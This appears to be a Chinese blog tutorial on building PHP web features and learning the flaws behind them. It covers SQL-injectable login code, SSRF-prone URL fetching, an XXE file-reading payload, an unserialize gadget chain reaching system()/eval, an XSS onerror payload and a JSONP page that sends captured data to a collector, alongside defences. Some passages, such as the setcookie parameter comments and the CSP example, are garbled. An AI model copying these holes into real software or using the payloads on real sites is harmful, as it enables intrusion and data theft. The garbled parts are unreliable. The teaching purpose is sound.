php之web开发
目标
实现一款具有常用大部分功能的WEB应用，并初步了解WEB漏洞原理
登录功能：
1、基于前端的登录功能
<!DOCTYPE html>
<html>
<head>
<title>简单登录功能</title>
</head>
<meta charset="UTF-8">
<body>
<h1>登录</h1>
<form id="loginForm" οnsubmit="return login()">
<label for="username">用户名:</label>
<input type="text" id="username" required>
<br>
<label for="password">密码:</label>
<input type="password" id="password" required>
<br>
<input type="submit" value="登录">
</form>
<p id="message"></p>
<script>
function login() {
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
// 这里应该发送登录请求到服务器进行身份验证
// 在这个例子中，我们只是简单判断用户名和密码是否符合预定义值
// 假设正确的用户名和密码是：
var validUsername = "admin";
var validPassword = "admin";
if (username === validUsername && password === validPassword) {
document.getElementById("message").innerText = "登录成功！";
} else {
document.getElementById("message").innerText = "登录失败，请检查用户名和密码！";
}
// 阻止表单的默认提交行为
return false;
}
</script>
</body>
</html>
效果
2、基于后端验证的登录功能
前端：
<!DOCTYPE html> <html> <meta charset="UTF-8"> <head> <title>简单登录功能</title> </head> <body> <h2>登录</h2> <form action="http://127.0.0.1/login.php" method="post"> <label for="username">用户名:</label> <input type="text" id="username" name="username" required><br> <label for="password">密码:</label> <input type="password" id="password" name="password" required><br> <input type="submit" value="登录"> </form> </body> </html>
后端
<meta charset="UTF-8">
<?php
if ($_SERVER["REQUEST_METHOD"] === "POST") {
// 获取表单数据
$username = $_POST["username"];
$password = $_POST["password"];
// 设置硬编码的账号与密码
$validUsername = "admin";
$validPassword = "admin";
// 比对表单中数据
if ($username === $validUsername && $password === $validPassword) {
echo "登录成功！" . htmlspecialchars($username);
} else {
echo "登录失败，请重新登录";
}
}
?>
3、基于数据库查询的登录功能（拼接）
<meta charset="UTF-8">
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "demo";
//建立数据库连接
$conn = mysqli_connect($servername, $username, $password, $dbname);
if (!$conn) {
die("连接失败：" . mysqli_connect_error());
}
//获取表单数据
$username = $_POST["username"];
$password = $_POST["password"];
//我们要执行的sql语句
$sql = "SELECT password FROM users WHERE username = '$username'";
//绑定连接与sql语句
$result = mysqli_query($conn, $sql);
//判断是否存在内容
if (!$result) {
die("查询错误：" . mysqli_error($conn));
}
//取出查询结果
$row = mysqli_fetch_assoc($result);
//
if ($row) {
$hashedPassword = $row["password"];
// 验证密码
if ($password == $hashedPassword) {
// 登录成功
echo "登录成功！欢迎，" . htmlspecialchars($username);
} else {
// 登录失败
echo "无效的用户名或密码，请重试。";
}
} else {
echo "用户不存在，请重试。";
}
4、基于数据库查询的登录功能（链式调用）
<meta charset="UTF-8">
<?php
class DatabaseQuery
{
private $connection;
private $sql;
public function __construct($connection)
{
$this->connection = $connection;
}
public function select($columns)
{
$this->sql .= 'SELECT '. $columns;
return $this;
}
public function from($table)
{
$this->sql .= " FROM $table";
return $this;
}
public function where($column)
{
$this->sql .= " WHERE $column";
return $this;
}
public function eq($value)
{
$this->sql .= " = '$value'";
return $this;
}
public function andWhere($column)
{
$this->sql .= " AND $column";
return $this;
}
public function execute()
{
echo $this->sql;
$result = mysqli_query($this->connection, $this->sql);
if (!$result) {
die("查询错误：" . mysqli_error($this->connection));
}
return $result;
}
}
// 示例使用
$servername = "localhost";
$username_db = "demo";
$password_db = "demo";
$dbname = "demo";
$conn = mysqli_connect($servername, $username_db, $password_db, $dbname);
if (!$conn) {
die("连接失败：" . mysqli_connect_error());
}
$username = $_POST["username"];
$password = $_POST["password"];
$dbQuery = new DatabaseQuery($conn);
$result = $dbQuery->select('username')
->from('users')
->where('password')->eq($password)
->execute();
if (!$result) {
die("查询错误：" . mysqli_error($conn));
}
while ($row = mysqli_fetch_assoc($result)) {
echo "Username: " . $row['username'] . "<br>";
}
mysqli_close($conn);
?>
5、基于数据库查询的登录功能（预编译）
<meta charset="UTF-8">
<?php
if ($_SERVER["REQUEST_METHOD"] === "POST") {
// 从表单中获取用户名和密码
$username = $_POST["username"];
$password = $_POST["password"];
// 连接到MySQL数据库
$conn = new mysqli("localhost", "root", "root", "demo");
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
// 准备SQL查询语句
//设置空位
$stmt = $conn->prepare("SELECT password FROM users WHERE username = ?");
// 将参数插入空位
$stmt->bind_param("s", $username);
// 执行sql语句
$stmt->execute();
// 将结果进行绑定
$stmt->bind_result($hashedPassword);
// 刷新
$stmt->fetch();
// 验证密码
if ($password === $hashedPassword) {
// 登录成功
echo "登录成功！欢迎，" . htmlspecialchars($username);
// 在此处可以执行其他操作或重定向到另一个页面
} else {
// 登录失败
echo "无效的用户名或密码，请重试。";
// 在此处可以重定向回登录页面或显示错误消息
}
// 关闭语句和连接
$stmt->close();
$conn->close();
}
?>
控制访问功能：
使用cookie实现访问控制
// 设置一个时间
$expire = time() + 3600;
// 设置一个cookie
setcookie("user", $username, $expire, "/");
// 登录成功后，可以跳转到其他页面
header("Location: admin.php");
exit();
<meta charset="UTF-8">
<?php
1if ($_COOKIE["user"] === 'admin') {
// 用户已登录，可以允许访问受保护的内容
echo '欢迎来到后台';
} else {
// 用户未登录，可能跳转到登录页面或显示登录提示
header("Location: login.html");
}
使用session实现访问控制
$username = "user123";
// 开启会话
session_start();
// 设置会话数据
$_SESSION['user'] = $username;
// 登录成功后，可以跳转到其他页面
header("Location: welcome.php");
exit();
<meta charset="UTF-8">
<?php
session_start();
// 设置会话数据
if ($_SESSION['user'] === 'admin') {
// 用户已登录，可以允许访问受保护的内容
echo '欢迎来到后台';
} else {
// 用户未登录，可能跳转到登录页面或显示登录提示
header("Location: login.html");
}
上传功能：
前端：
<!DOCTYPE html> <html> <head> <title>文件上传</title> </head> <body> <h2>上传文件</h2> <form action="upload.php" method="post" enctype="multipart/form-data"> <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" value="上传" name="submit"> </form> </body> </html>
后端：
<?php
if (isset($_POST["submit"])) {
$targetDir = "uploads/"; // 上传文件存储目录，确保该目录存在并有写入权限
$targetFile = $targetDir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($targetFile, PATHINFO_EXTENSION));
// 检查文件是否是一个真实的文件
if (isset($_FILES["fileToUpload"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
echo "文件不是一个图片。";
$uploadOk = 0;
}
}
// 检查文件是否已存在
if (file_exists($targetFile)) {
echo "文件已存在。";
$uploadOk = 0;
}
// 允许的文件类型（这里假设只允许上传图片）
$allowedTypes = array("jpg", "jpeg", "png", "gif");
if (!in_array($imageFileType, $allowedTypes)) {
echo "只允许上传 JPG, JPEG, PNG, GIF 格式的文件。";
$uploadOk = 0;
}
// 检查文件大小（这里设置最大文件大小为5MB）
$maxFileSize = 5 * 1024 * 1024; // 5 MB
if ($_FILES["fileToUpload"]["size"] > $maxFileSize) {
echo "文件大小超过限制（5MB）。";
$uploadOk = 0;
}
// 检查上传过程中是否发生错误
if ($uploadOk == 0) {
echo "文件上传失败。";
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetFile)) {
echo "文件上传成功。";
} else {
echo "文件上传失败。";
}
}
}
?>
其他文件写入函数：
在 PHP 中，文件写入可以使用以下类函数和方法：
1.file_put_contents(): 该函数在之前已经提到过，它既可以用作函数，也可以用作类方法。作为类方法时，它用于将内容写入文件。
示例如下：
$file = 'path/to/file.txt';
$data = 'Hello, World!';
if (file_put_contents($file, $data) !== false) {
echo "文件写入成功！";
} else {
echo "文件写入失败！";
}
2.fwrite(): 这是一个底层的文件写入方法。它需要使用文件句柄来打开文件，并将数据写入。
示例如下
$file = 'path/to/file.txt';
$data = 'Hello, World!';
$fileHandle = fopen($file, 'w');
if (fwrite($fileHandle, $data) !== false) {
echo "文件写入成功！";
} else {
echo "文件写入失败！";
}
fclose($fileHandle);
3.SplFileObject: 这是一个内置的 PHP 类，用于处理文件。它提供了许多文件操作的方法，包括读取和写入文件。
示例如下：
$file = new SplFileObject('path/to/file.txt', 'w');
$data = 'Hello, World!';
$file->fwrite($data);
// 或者使用迭代器方式写入多行数据
$dataArray = array('Line 1', 'Line 2', 'Line 3');
foreach ($dataArray as $line) {
$file->fwrite($line . PHP_EOL);
}
$file = null; // 关闭文件
4.fputs(): 这是与
fwrite() 函数功能相似的另一个底层文件写入函数。示例如下：
$file = 'path/to/file.txt';
$data = 'Hello, World!';
$fileHandle = fopen($file, 'w');
if (fputs($fileHandle, $data) !== false) {
echo "文件写入成功！";
} else {
echo "文件写入失败！";
}
fclose($fileHandle);
文件解压：
解压 Zip 文件：
function unzipFile($zipFile, $extractToDir) {
$zip = new ZipArchive();
if ($zip->open($zipFile) === true) {
// 创建目标文件夹（如果不存在）
if (!is_dir($extractToDir)) {
mkdir($extractToDir, 0755, true);
}
// 解压缩文件
$zip->extractTo($extractToDir);
$zip->close();
echo '解压缩成功！';
} else {
echo '解压缩失败！';
}
1}
$zipFile = 'path/to/archive.zip';
$extractToDir = 'path/to/extracted_folder/';
unzipFile($zipFile, $extractToDir);
解压 Tar 文件
function untarFile($tarFile, $extractToDir) {
try {
$phar = new PharData($tarFile);
$phar->extractTo($extractToDir, null, true);
echo '解压缩成功！';
} catch (Exception $e) {
echo '解压缩失败：' . $e->getMessage();
}
}
$tarFile = 'path/to/archive.tar';
$extractToDir = 'path/to/extracted_folder/';
untarFile($tarFile, $extractToDir);
文件读取：
PHP 提供了多个函数用于文件读取。以下是一些常用的文件读取函数：
1.file_get_contents(): 用于将整个文件内容读取为一个字符串。
$file = 'path/to/file.txt'; $content = file_get_contents($file);
2.file(): 将文件内容读取为一个数组，其中每一行都是数组的一个元素。
$file = 'path/to/file.txt'; $lines = file($file);
3.fopen(): 这些是底层的文件读取函数，允许你以更细粒度的方式控制文件的读取。
$file = 'path/to/file.txt'; $handle = fopen($file, 'r'); $content = fread($handle, filesize($file)); fclose($handle);
4.fgets(): 逐行读取文件内容。
$file = 'path/to/file.txt';
$handle = fopen($file, 'r');
while (!feof($handle)) {
$line = fgets($handle);
echo $line;
}
fclose($handle);
5.fgetc(): 逐字符读取文件内容。
$file = 'path/to/file.txt';
$handle = fopen($file, 'r');
while (!feof($handle)) {
$char = fgetc($handle);
echo $char;
}
fclose($handle);
6.SplFileObject: 这是一个内置的 PHP 类，用于处理文件。它提供了许多文件操作的方法，包括逐行读取和随机访问。
$file = new SplFileObject('path/to/file.txt', 'r');
while (!$file->eof()) {
$line = $file->fgets();
echo $line;
}
$file = null; // 关闭文件
文件读取2：
1.file_get_contents()
这个函数可以用于读取文件内容，也可以用于从URL中读取内容。如果未正确验证和过滤用户提供的URL，攻击者可以通过构造恶意URL来进行SSRF攻击。
<?php $url = $_GET['url']; $content = file_get_contents($url); echo $content; ?>
2.curl_exec()
cURL是一个用于进行各种网络请求的强大工具，但如果未正确验证和限制用户提供的URL，它也可能被用于发起SSRF攻击。
<?php $url = $_GET['url']; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); echo $response; ?>
3.fopen()
这个函数用于打开文件或URL。如果攻击者可以控制URL参数，并且服务器上执行了读取操作，那么可能导致SSRF。
<?php $url = $_GET['url']; $file = fopen($url, 'r'); echo fread($file, filesize($url)); fclose($file); ?>
4.fsockopen()
函数用于在 PHP 中打开一个网络连接，可以用于与服务器进行通信
<?php
$url = $_GET['url'];
$port = 80;
$parts = parse_url($url);
if (!$parts || !isset($parts['host'])) {
die("Invalid URL");
}
$host = $parts['host'];
$path = isset($parts['path']) ? $parts['path'] : '/';
$query = isset($parts['query']) ? '?' . $parts['query'] : '';
$fp = fsockopen($host, $port, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET $path$query HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
文件删除：
PHP 中有几个用于文件删除的函数，可以根据不同的需求和场景选择合适的函数。以下是一些常见的用于文件删除的 PHP 函数：
1.unlink(): 函数用于删除文件。
<?php
$file_path = 'path/to/file.txt';
if (file_exists($file_path)) {
unlink($file_path);
echo "删除成功.";
} else {
echo "删除失败.";
}
?>
2.rmdir():函数用于删除一个空目录。
<?php
$dir_path = 'path/to/empty_directory';
if (is_dir($dir_path)) {
rmdir($dir_path);
echo "删除成功.";
} else {
echo "删除失败.";
}
?>
模块加载：
function add_modules($mod){
$classFile = __DIR__ . '/../modules/' . $mod;
if (file_exists($classFile)) {
require_once($classFile); }else{
echo "模块不存在"; }
}
XML:
<!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///C:/Users/Administrator/Desktop/1.txt"> ]> <root> <foo>&xxe;</foo> </root>
1.SimpleXML：
SimpleXML 扩展提供了一种简单的方式来解析 XML 数据并将其转换为对象。它允许你通过属性和方法访问 XML 元素和属性。
在PHP里面，解析xml用的是libxml，其在≥2.9.0的版本中，默认是禁止解析xml外部实体内容的。
<?
error_reporting(0);
libxml_disable_entity_loader(false);
$xml = file_get_contents('php://input');
$loadOptions = LIBXML_NOENT | LIBXML_NOERROR | LIBXML_NOWARNING;
$doc = simplexml_load_string($xml, 'SimpleXMLElement', $loadOptions);
if ($doc !== false) {
echo $doc->title; // 输出展开实体引用后的 XML
} else {
echo "XML 解析出错。";
}
2.DOMDocument：
DOMDocument 类提供了一种更底层的方式来解析和操作 XML 文档。它以 DOM（文档对象模型）表示 XML 文档，允许你使用节点、元素和属性进行操作。
<?
error_reporting(0);
libxml_disable_entity_loader(false);
$xml = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$foo = $creds->foo;
echo $foo;
LIBXML_NOENT：这个选项表示在解析XML时不要展开实体引用。实体引用是以&开头的字符序列，比如& 表示&，<表示<等。 设置这个选项后，解析器不会将实体引用展开为相应的字符。 LIBXML_DTDLOAD：这个选项表示解析器在解析XML时要加载和处理文档类型定义（DTD）。 DTD是一种定义XML文档结构的语法，它描述了元素、属性等的规则。设置了这个选项，解析器会尝试加载并 解析文档中的DTD部分。
3.XMLReader：
XMLReader 类提供了一种基于事件的方式来解析大型 XML 文档。它逐步读取 XML 数据，并通过触发事件来处理节点、元素和属性。
<?
error_reporting(0);
libxml_disable_entity_loader(false);
$xml = file_get_contents('php://input');
$reader = new XMLReader();
$reader->xml($xml);
// 设置解析器属性以展开实体引用$reader->setParserProperty(XMLReader::SUBST_ENTITIES,
true);
while ($reader->read()) {
if ($reader->nodeType == XMLReader::ELEMENT) {
$node = $reader->expand();
if ($node->nodeType == XMLReader::ELEMENT) {
echo "Text: " . $node->textContent . "\n";
}
}
}
序列化：
<?php
class User {
public $privilege;
public $id;
public $attribute;
public function __construct($privilege, $id)
{
$this->privilege = $privilege;
$this->id = $id;
}
public function get_permissions(){
if($this->privilege->get_name == 'admin'){
echo '你是admin用户'; die(); }
elseif($this->privilege->get_name == 'guest'){
echo '你是guest用户'; die(); }
}
public function get_permissions_attribute(){
$attribute = $this->attribute;
echo $this->privilege->$attribute; }
public function __wakeup()
{
$this->get_permissions();
if(!empty($this->attribute)){
$this->get_permissions_attribute(); }
}
}
class Base{
public function get($name)
{
echo "未找到: {$name}方法"; }
}
class shell{
public $cmd;
public function __get($name)
{
echo $name; }
public function __toString()
{
return system($this->cmd);
}
}
ini_set('display_errors', 'on');
unserialize($_POST['user']);
?>
答案1：
<?php
class User {
public $privilege; public $id; public $attribute;
public function __construct($privilege, $id)
{
$this->privilege = $privilege; $this->id = $id; }
public function get_permissions(){
if($this->privilege->get_name == 'admin')
{
echo '你是admin用户'; die();
}
elseif($this->privilege->get_name == 'guest'){
echo '你是guest用户'; die();
}
}
public function get_permissions_attribute(){
$attribute = $this->attribute;
echo $this->privilege->$attribute; }
public function __wakeup()
{
$this->get_permissions(); if(empty($this->attribute)){
$this->get_permissions_attribute($this->attribute); }
}
}
class Admin {
public $name = 'admin'; public $describe = '当前用户为管理员权限，可以登录后台';
public $Base; public function __construct()
{
$this->Base = new Base(); }
public function __get($name)
{
$this->Base->get($name); }
}
class Guest {
public $name = 'guest'; public $describe = '当前用户为访客权限，无法登录后台';
public $Base; public function __construct()
{
$this->Base = new Base(); }
public function __get($name)
{
$this->Base->get($name); }
}
class Base{
public function get($name)
{
echo "未找到: {$name}方法"; }
}
class shell{
public $cmd = 'calc'; public function __get($name)
{
system($this->cmd); }
public function __toString()
{
return eval($this->cmd); }
}
$shell = new shell();$user = new user($shell, 1);?>
JSON:
在 PHP 中，你可以使用多种类和方法来解析 JSON 数据。以下是一些常用的类和方法：
1.json_decode()：
这是 PHP 内置的函数，用于将 JSON 字符串解析为 PHP 数组或对象。它是最常用的 JSON 解析方法。
$jsonString = '{"name":"Alice","age":30}';
$data = json_decode($jsonString, true); // 解析为关联数组
// 或者
$data = json_decode($jsonString); // 解析为对象
2.json_encode()：
$data = ['name' => 'Alice', 'age' => 30]; $jsonString = json_encode($data);
3.解析 JSON 对象：
将 JSON 字符串解析为 PHP 对象或数组。
$jsonString = '{"name":"Alice","age":30,"email":"alice@example.com"}';
$person = json_decode($jsonString);
echo $person->name; // 输出: Alice
4.访问 JSON 对象的属性：
在解析后的 PHP 对象中，你可以使用箭头运算符 -> 来访问 JSON 对象的属性。
echo $person->age; // 输出: 30 echo $person->email; // 输出: alice@example.com
5.嵌套 JSON 对象：
JSON 对象可以包含其他 JSON 对象作为属性。
$person = [ 'name' => 'Alice', 'contact' => [ 'email' => 'alice@example.com', 'phone' => '123-456-7890' ] ]; $jsonString = json_encode($person);
6.设置选项：
使用json_encode函数的第二个参数可以设置 JSON 输出的选项，如缩进和 Unicode 转义。
$jsonString = json_encode($person, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
XSS:
<img src=x οnerrοr="alert(/xss/)">
前端
function showMessageList() {
// 获取留言列表
fetch('/api/get_message.php')
.then(response => response.json())
.then(data => {
messageContainer.innerHTML = '';
data.forEach(message => {
const messageDiv = document.createElement('div');
// messageDiv.textContent = `User: ${message.username}, Message:
${message.content}`;
messageDiv.innerHTML = `User: ${message.username}, Message:
${message.content}`;
messageContainer.appendChild(messageDiv);
//messageContainer.append(messageDiv);
});
});
}
function showMessageList() {
// 获取留言列表
fetch('/api/get_message.php')
.then(response => response.json())
.then(data => {
messageContainer.innerHTML = '';
data.forEach(message => {
const messageDiv = document.createElement('div');
// 使用纯文本节点来避免解释 JavaScript 代码
const usernameTextNode = document.createTextNode(`User:
${message.username}`);
messageDiv.appendChild(usernameTextNode);
// 将 message.content 添加到 messageDiv
const contentTextNode = document.createTextNode(`, Message:
${message.content}`);
messageDiv.appendChild(contentTextNode);
// 将 messageDiv 添加到页面
messageContainer.appendChild(messageDiv);
});
});
后端
在 PHP 中，有一些函数可以帮助您防止跨站脚本（XSS）漏洞。这些函数可以用于在将用户输入嵌入
到 HTML、JavaScript、CSS 或其他上下文中时，对输入进行适当的转义或过滤。以下是一些常用的
防止 XSS 漏洞的函数：
1.htmlspecialchars：
用于将特殊字符转义为 HTML 实体，从而防止恶意脚本的执行。它是防止在 HTML 上下文中的 XSS
攻击的首选方法。
$escapedInput = htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
2.strip_tags：
$cleanInput = strip_tags($userInput);
3.htmlentities：
$escapedInput = htmlentities($userInput, ENT_QUOTES, 'UTF-8');
4.filter_var：
通过过滤器进行输入验证和过滤，可以用于过滤特定类型的输入，如 URL、邮箱等。
$filteredInput = filter_var($userInput, FILTER_SANITIZE_STRING);
5.JavaScript Escape：
$jsEscapedInput = json_encode($userInput); // 或者 $jsEscapedInput = addslashes($userInput);
6.Content Security Policy (CSP)：
不是一个函数，而是一种更全面的安全策略，通过设置 HTTP 头来限制允许加载的资源来源，从而减
少 XSS 攻击的风险。
Content Security Policy（CSP）是一种在网页中实施的安全策略，用于减少跨站脚本（XSS）等安全
威胁。CSP 允许您指定哪些内容可以加载到页面中，从而减少恶意代码的执行。
要使用 Content Security Policy，您需要在您的网页的 <head> 部分添加一个 meta 标签或通过 HTTP
头来指定策略。以下是一个简单的示例：
<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' <title>My Secure Website</title> </head> <body> <!-- 页面内容 --> </body> </html>
在上面的示例中，Content-Security-Policy 头通过 meta 标签指定了一些策略规则：
-
default-src 'self'
-
script-src 'self' TransIP - Reserved domain TransIP - Reserved domain
-
style-src 'self' https://trusted-styles.com https://trusted-styles.com
这是一个基本示例，您可以根据您的应用程序需求进行调整。策略规则包括 default-src、script-src、style
src、img-src、font-src 等，您可以根据需要进行设置。
请注意，实施 CSP 可能会对您的应用程序的一些功能产生影响，特别是在使用第三方脚本或资源时。
7.禁止 JavaScript 获取 cookie
在 PHP 中，setcookie 函数的参数用于设置 Cookie 的各种属性。以下是每个参数的含义：
setcookie( string $name, //Cookie 的名称。 string $value = "", //Cookie 的名称。 int $expire = 0, // Cookie 的过期时间，以 UNIX 时间戳表示。如果设置为 0，或省略该参数，则 Cookie 会在会话结束后过期。 string $path = "", // Cookie 的过期时间，以 UNIX 时间戳表示。如果设置为 0，或省略该参数， 则 Cookie 会在会话结束后过期。 string $domain = "", // Cookie 的过期时间，以 UNIX 时间戳表示。如果设置为 0，或省略该参 数，则 Cookie 会在会话结束后过期。 bool $secure = false, // Cookie 的过期时间，以 UNIX 时间戳表示。如果设置为 0，或省略该参 数，则 Cookie 会在会话结束后过期。 bool $httponly = false //如果设置为 true，则 JavaScript 无法通过 document.cookie 访问 该 Cookie，增加安全性（HttpOnly 标志）。 )
CSRF:
前端：
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login Form with JSON and CORS</title>
</head>
<body>
<h1>Login Form with JSON and CORS</h1>
<div>
<label for="username">Username:</label>
<input type="text" id="username" required><br><br>
<label for="password">Password:</label>
<input type="password" id="password" required><br><br>
<button id="loginButton">Login</button>
</div>
<div id="loginMessage"></div>
<script>
const loginButton = document.getElementById('loginButton');
const loginMessage = document.getElementById('loginMessage');
loginButton.addEventListener('click', () => {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
const loginData = {
username: username,
password: password
};
fetch('http://qqx.com/api/cors.php', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(loginData)
})
.then(response => {
if (!response.ok) {
throw new Error('Login failed');
}
return response.json();
})
.then(data => {
loginMessage.textContent = 'Login successful!';
loginMessage.style.color = 'green';
})
.catch(error => {
loginMessage.textContent = 'Login failed. Please check your credentials.';
loginMessage.style.color = 'red';
});
});
</script>
</body>
</html>
结果
<?php
echo 1111;
header("Access-Control-Allow-Origin: http://qqx.com");
header("Access-Control-Allow-Methods: GET, POST, OPTIONS");
header("Access-Control-Allow-Headers: Content-Type");
header("Access-Control-Allow-Credentials: true");
触发条件：
浏览器在发起跨域请求时，会在需要的情况下发起预检请求（OPTIONS请求）来验证服务器是否允许
实际请求的跨域访问。这个预检请求的主要目的是检查服务器是否设置了合适的CORS头部，以确定是
否允许实际请求（如GET、POST）跨域访问。
预检请求通常在以下情况下发起：
-
使用非简单请求方法：当浏览器在跨域情况下使用非简单请求方法（如PUT、DELETE、自定义头部等）时，它会发起预检请求来验证服务器是否允许这种请求。
-
自定义请求头部：如果请求中包含了自定义的HTTP头部，浏览器可能会发起预检请求来确保服务器允许这些自定义头部。
以下是浏览器发起预检请求（OPTIONS请求）的一般流程：
-
浏览器检测到跨域请求，检查请求是否满足“简单请求”的条件，如果满足则直接发送实际请求。
-
如果请求不满足“简单请求”的条件，浏览器会自动发送一个OPTIONS请求，请求的头部中会包含一些预检信息，如请求方法、请求头部等。
-
服务器收到OPTIONS请求后，需要正确地设置CORS头部，如Access-Control-Allow-Origin、Access-Control-Allow-Methods、Access-Control-Allow-Headers 等。服务器需要返回适当的CORS头部，以告诉浏览器是否允许实际请求的跨域访问。
4.如果服务器的CORS头部允许跨域访问，浏览器会继续发送实际请求，如果不允许，则浏览器会拒绝发送实际 请求，遵循同源策略。
需要注意的是，服务器需要正确处理OPTIONS请求，并在响应中设置适当的CORS头部，以使浏览器
能够理解是否允许跨域访问。预检请求是CORS机制的一部分，有助于确保安全的跨域资源访问。
请求类型：
CORS（跨源资源共享）规范将HTTP请求分为两种类型：简单请求和非简单请求。简单请求（Simple
Request）满足一组特定的条件，不会触发预检请求（OPTIONS请求）。而非简单请求（Non-Simple Request）则需要在发起实际请求之前进行预检请求，以确定服务器是否允许跨域访问。
以下是被认为是非简单请求方法的一些常见HTTP方法：
用于向服务器提交数据，修改服务器上的资源。
用于请求服务器删除指定的资源。
用于对服务器上的资源进行部分更新。
用于建立网络连接，通常在代理服务器上使用。
用于请求有关服务器支持的请求方法和HTTP头部信息的信息。
触发条件：
使用非简单请求方法：当浏览器在跨域情况下使用非简单请求方法（如PUT、DELETE、自定义头部等）时，它会
发起预检请求来验证服务器是否允许这种请求。
自定义请求头部：如果请求中包含了自定义的HTTP头部，浏览器可能会发起预检请求来确保服务器允许这些自
定义头部。
浏览器检测到跨域请求，检查请求是否满足“简单请求”的条件，如果满足则直接发送实际请求。
如果请求不满足“简单请求”的条件，浏览器会自动发送一个OPTIONS请求，请求的头部中会包含一些预检信
息，如请求方法、请求头部等。
服务器收到OPTIONS请求后，需要正确地设置CORS头部，如
如果服务器的CORS头部允许跨域访问，浏览器会继续发送实际请求，如果不允许，则浏览器会拒绝发送实际请
求，遵循同源策略。
请求类型：
-
PUT：
用于向服务器提交数据，修改服务器上的资源。
-
DELETE：
用于请求服务器删除指定的资源。
-
PATCH：
用于对服务器上的资源进行部分更新。
-
CONNECT：
用于建立网络连接，通常在代理服务器上使用。
-
OPTIONS：
用于请求有关服务器支持的请求方法和HTTP头部信息的信息。
-
TRACE：
用于在路径上执行一个消息环回测试，以诊断路径中的问题。
后端
1.设置响应头部信息：
在您的PHP脚本中，可以通过设置响应头部来控制CORS策略。以下是一些常见的响应头部字段，您可以根据需要进行设置：
header("Access-Control-Allow-Origin: *"); // 允许所有来源访问，或替换为具体的域名
header("Access-Control-Allow-Methods: GET, POST, OPTIONS"); // 允许的HTTP方法
header("Access-Control-Allow-Headers: Content-Type"); // 允许的请求头
header("Access-Control-Allow-Credentials: true"); // 如果需要使用跨域的Cookie，设置为true
2.使用预检请求（Preflight Requests）：
对于一些复杂的跨域请求（例如带有自定义头部的POST请求），浏览器会首先发送一个预检请求
（OPTIONS请求）以验证服务器是否支持跨域请求。您需要在服务器上处理这些预检请求并返回适当
的响应头部。例如：
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: GET, POST, OPTIONS");
header("Access-Control-Allow-Headers: Content-Type");
header("Access-Control-Allow-Credentials: true");
header("HTTP/1.1 204 No Content");
exit();
}
3.验证来源和请求头部：
在您的PHP脚本中，您可以根据需要对请求来源进行验证，以确保只有合法的来源可以访问您的资
源。例如：
$allowedOrigins = array("https://example.com", "https://anotherdomain.com");
$origin = $_SERVER['HTTP_ORIGIN'];
if (in_array($origin, $allowedOrigins)) {
header("Access-Control-Allow-Origin: " . $origin);
header("Access-Control-Allow-Methods: GET, POST");
// 其他头部设置
} else {
// 处理非法来源
1header("HTTP/1.1 403 Forbidden");
exit();
1}
JSONP:
JSONP 的工作原理是通过在页面中动态创建 <script> 标签，从而允许跨域资源被加载。因为 <script> 标签的跨域限制比较宽松，它不受同源策略的限制。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JSONP Example</title>
</head>
<body>
<h1>JSONP Example</h1>
<div id="dataContainer"></div>
<script>
function handleJSONPResponse(data) {
const dataContainer = document.getElementById('dataContainer');
dataContainer.textContent = 'Response from JSONP: ' + JSON.stringify(data);
}
// Create a script element to make the JSONP request
const script = document.createElement('script');
script.src = 'http://qqx.com/demo2.php?callback=handleJSONPResponse';
document.body.appendChild(script);
</script>
</body>
</html>
<?php
$data = array("name" => "John", "age" => 30);
$callback = $_GET['callback']; // 获取callback参数
// 输出带有回调函数的响应
echo $callback . '(' . json_encode($data) . ');';
?>
蜜罐：
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JSONP Example</title>
</head>
<body>
<h1>JSONP Example</h1>
<div id="dataContainer"></div>
<script>
function handleJSONPResponse(data) {
const dataContainer = document.getElementById('dataContainer');
dataContainer.textContent = 'Response from JSONP: ' + JSON.stringify(data);
// 定义要发送的数据
const jsonp = {
key1: "1",
key2: "value2"
};
// 发起POST请求
fetch("http://127.0.0.1:8000/?a="+JSON.stringify(data), {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify(jsonp)
})
.then(function(response) {
if (response.ok) {
// 请求成功，处理响应数据
return response.json();
} else {
// 请求失败，处理错误
throw new Error("Network response was not ok");
}
})
.then(function(data) {
console.log(data);
})
.catch(function(error) {
console.error("There was a problem with the fetch operation:", error);
});
}
// Create a script element to make the JSONP request
const script = document.createElement('script');
script.src = 'http://qqx.com/demo2.php?callback=handleJSONPResponse';
document.body.appendChild(script);
</script>
</body>
</html>
上一篇： WEB安全 HTML
下一篇： 分享一个我爱工具网源